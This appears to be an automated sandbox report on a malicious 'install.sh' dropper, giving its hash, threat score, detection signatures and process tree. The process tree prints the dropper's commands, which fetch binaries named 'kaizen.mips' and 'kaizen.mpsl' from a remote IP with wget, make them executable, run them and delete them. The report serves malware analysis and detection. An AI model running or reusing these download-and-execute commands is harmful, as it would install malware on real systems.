Analysis
- max time kernel
134s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
28/08/2026, 06:12
General
- Target install.sh
- Size 514B
- Sample260828-gybatafj4x
- SHA256 ed555255a37cf5daec7f617af1c5553723b47376830c666bdf036f5ea9e979e8
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/install.sh/tmp/install.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget -q http://196.251.121.142/a3f8d2/kaizen.mips -O .k2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 .k2⤵
- File and Directory Permissions Modification
-
-
/tmp/.k./.k http2⤵
-
-
/bin/rmrm -f .k2⤵
-
-
/usr/bin/wgetwget -q http://196.251.121.142/a3f8d2/kaizen.mpsl -O .k2⤵
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.k